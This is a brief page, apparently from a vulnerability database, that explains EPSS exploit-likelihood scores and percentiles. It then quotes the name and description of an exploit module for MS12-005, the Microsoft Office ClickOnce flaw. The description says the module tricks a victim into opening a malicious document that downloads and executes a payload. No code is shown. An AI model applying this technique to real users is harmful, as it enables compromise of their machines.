EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

'Name' => "MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Microsoft Office's ClickOnce
feature. When handling a Macro document, the application fails to recognize
certain file extensions as dangerous executables, which can be used to bypass
the warning message. This allows you to trick your victim into opening the
malicious document, which will load up either a python or ruby payload based on
your choosing, and then finally download and execute our executable.
